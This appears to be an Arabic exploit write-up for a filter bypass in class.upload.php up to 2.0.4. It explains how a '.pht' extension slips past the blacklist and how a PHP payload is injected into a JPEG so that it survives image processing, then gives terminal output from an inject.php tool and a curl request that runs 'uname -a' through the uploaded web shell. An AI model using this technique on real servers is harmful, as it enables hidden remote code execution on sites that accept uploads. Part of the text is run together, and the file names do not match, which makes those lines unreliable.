
هذا استغلال لتجاوز الفلتر يؤدي إلى رفع ملف عشوائي وتنفيذ تعليمات برمجية عن بعد في class.upload.php <= 2.0.4
هذا استغلال لتجاوز الفلتر يؤدي إلى رفع ملف عشوائي وتنفيذ كود عن بعد. يقوم سكريبت class.upload.php بتصفية 'الملفات والمحتويات الخطيرة' وإعادة تسميتها إلى امتداد txt. كما يقوم بأنواع مختلفة من التحويل على الصورة المرفوعة، مما يؤدي عادةً إلى تدمير أي حمولة محقونة، حتى لو تم تجاوز فلتر امتداد الملف.
فلتر امتداد الملف هو قائمة سوداء، لذلك كلما تم تقديم امتداد جديد (في هذه الحالة pht)، أو تم تفويت أي امتداد، يمكن رفع ملف PHP. ومع ذلك، يجب أن يكون المحتوى صورة صالحة وسيظل يمر عبر وظائف imagecreatefromjpeg وما شابهها. لهذا الغرض، كتبت سكريبت inject.php الذي سيحاول بشكل أساسي البحث عن الصور المختلفة حتى يجد صورة حيث لن يتم تدمير الحمولة بواسطة العملية التي تتم في class.upload.php. هذا يعطينا فعليًا رفع ملف عشوائي وتنفيذ كود خفي جدًا لأنه لا يزال صورة صالحة وسيتم عرضها كصورة على الصفحات التي تم رفعها فيها.
سيتم إعادة كتابة سكريبت inject.php قريبًا ليكون أداة أكثر عمومية لهذا النوع من الهجمات، ولكن في الوقت الحالي سيتم تضمينه كسكريبتات فردية في هذا النوع من إصدارات CVE.
سكريبت upload.php هو الكود المثال من github الخاص بـ Verot.net. اعتقدت أنه سيكون من الأفضل توضيح هذه الثغرة باستخدام الكود المثال الخاص بهم.
php inject.php في الطرفية، سيقوم بإنشاء صورة عينة بحمولة بسيطة في الملف.image.jpg.pht.image.jpg.pht، سيمر عبره وستحصل الآن على شيلuser@ayu:/var/www/html# php inject.php
-=Imagejpeg injector 1.8=-
[+] Fetching image (100 X 100) from http://lorempixel.com/100/100/
[+] Jumping to end byte
[+] Searching for valid injection point
[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
[+] It seems like it worked!
[+] Result file: image.jpg.pht
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU